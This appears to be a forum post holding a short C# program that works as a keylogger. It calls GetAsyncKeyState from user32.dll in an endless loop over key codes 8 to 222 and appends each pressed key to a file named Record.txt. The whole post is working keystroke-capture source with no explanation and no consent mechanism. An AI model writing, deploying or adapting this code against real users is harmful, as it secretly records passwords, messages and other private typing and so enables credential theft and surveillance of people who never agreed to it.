Code: Select all
class Program
{
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
static void Main(string[] args)
{
CaptureKeyboardInput();
}
private static void CaptureKeyboardInput()
{
char c;
while (true)
{
for (c = (char)8; c <= (char)222; c++)
{
if (GetAsyncKeyState(c) == -32767)
{
using (StreamWriter writer = new StreamWriter("Record.txt", true))
{
switch (c)
{
//case (char)8:
// writer.Write("<Backspace>");
// break;
//case (char)27:
// writer.Write("<Esc>");
// break;
//case (char)127:
// writer.Write("<Del>");
// break;
case (char)32:
writer.Write(" ");
break;
case (char)13:
writer.Write("<Enter>\n");
break;
default:
writer.Write(c);
break;
}
}
}
}
}
}
}